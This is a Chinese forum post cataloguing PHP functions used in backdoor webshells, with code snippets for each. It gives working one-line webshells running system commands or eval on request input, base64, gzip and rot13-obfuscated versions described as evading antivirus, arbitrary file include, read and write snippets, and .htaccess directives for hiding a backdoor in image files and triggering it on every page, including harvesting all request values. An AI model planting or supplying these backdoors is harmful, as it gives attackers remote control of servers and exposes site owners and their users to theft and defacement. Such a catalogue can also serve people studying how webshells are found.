php后门木马常用的函数及用法示例

puyuetian 乐天 关注 九级站长 创始人
发表于PHP学习相关文章版块

若可疑文件在./install/目录下,请删除该目录后重新扫描。


php后门木马常用的函数大致上可分为四种类型:


  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open


  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13


  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite


  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file


  1. 执行系统命令:


  system 函数


  //test.php?cmd=ls


  system($_GET[cmd]);


  passthru 函数


  //test.php?cmd=ls


  passthru($_GET[cmd]);


  shell_exec 函数


  //test.php?cmd=ls


  echo shell_exec($_GET[cmd]);


  exec 函数


  //test.php?cmd=ls


  $arr = array();


  exec($_GET[cmd],$arr);


  print_r($arr);


  popen 函数


  //test.php?cmd=ls


  $handle = popen('$_GET[cmd], 'r');


  $read = fread($handle, 2096);


  echo $read;


  pclose($handle);


  proc_open 函数


  //test.php?cmd=ls


  $descriptorspec = array(


  0 => array('pipe', 'r'),


  1 => array('pipe', 'w'),


  2 => array('pipe', 'w'),


  );


  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);


  fclose($pipes[0]);


  $output = array();


  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));


  print_r($output);


  2. 代码执行与加密:


  eval 函数


  //最常见的一句话木马


  eval($_POST[cmd]);


  base64_decode 函数


  //为了免杀及隐藏而加密代码


  //密文: eval($_POST['cmd']);


  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));


  gzinflate 函数


  //为了免杀及隐藏而加密代码


  //密文: eval($_POST['cmd']);


  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));


  gzuncompress 函数


  //为了免杀及隐藏而加密代码


  //密文: eval($_POST['cmd']);


  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));


  gzdecode 函数


  //为了免杀及隐藏而加密代码


  //密文: eval($_POST['cmd']);


  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));


  str_rot13 函数


  //为了免杀及隐藏而加密代码


  //密文: eval($_POST[cmd]);


  eval(str_rot13('riny($_CBFG[pzq]);'));


  assert 函数


  //类似eval函数


  assert($_POST[cmd]);


  call_user_func 函数


  //使用call_user_func调用assert


  call_user_func('assert',$_POST[cmd]);


  call_user_func 函数


  //使用call_user_func调用任意函数


  //test.php?a=assert&cmd=phpinfo()


  call_user_func($_GET[a],$_REQUEST[cmd]);


  组合代码


  //组合方式调用任意函数


  //test.php?a=assert&cmd=phpinfo()


  $_GET[a]($_REQUEST[cmd]);


  3. 文件包含与生成:


  require 函数


  //包含任意文件


  //test.php?file=123.jpg


  require($_GET[file]);


  require_once 函数


  //包含任意文件


  //test.php?file=123.jpg


  require_once($_GET[file]);


  include 函数


  //包含任意文件 www.jb51.net


  //test.php?file=123.jpg


  include($_GET[file]);


  include_once 函数


  //包含任意文件


  //test.php?file=123.jpg


  include_once($_GET[file]);


  file_get_contents 函数


  //读取任意文件


  //test.php?f=config.inc.php


  echo file_get_contents($_GET['f']);


  file_put_contents 函数


  //生成任意内容文件


  //a=test.php&b=


  file_put_contents($_GET[a],$_GET[b]);


  fputs 函数


  //生成任意内容文件


  //a=test.php&b=


  fputs(fopen($_GET[a],"w"),$_GET[b]);


  4. .htaccess:


  SetHandler


  //可将php代码存于非php后缀文件,例: x.jpg


  //将以下代码写入.htaccess中


  //连接x.jpg即可启动后门木马出处www.admin8.us


  


  SetHandler application/x-httpd-php


  


  auto_prepend_file


  //可将php代码存于非php后缀文件,例: 123.gif


  //将以下代码写入.htaccess中, 文件路径必须是绝对路径


  //访问网站上任何php文件都会启动该php后门木马


  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马


  php_value auto_prepend_file c:/apache2/htdocs/123.gif


  auto_append_file


  //类似auto_prepend_file


  //可将php代码存于非php后缀文件,例: 123.gif


  //将以下代码写入.htaccess中, 文件路径必须是绝对路径


  //访问网站上任何php文件都会启动该php后门木马


  php_value auto_append_file c:/apache2/htdocs/123.gif



评论列表 评论
扶摇可接 扶摇可接 五级站长 普通 2#
666

宁夏,吴忠

共0条回复,点击查看回复
发布评论

评论: php后门木马常用的函数及用法示例

已有0次打赏
(6) 分享
分享

请保存二维码或复制链接进行分享

取消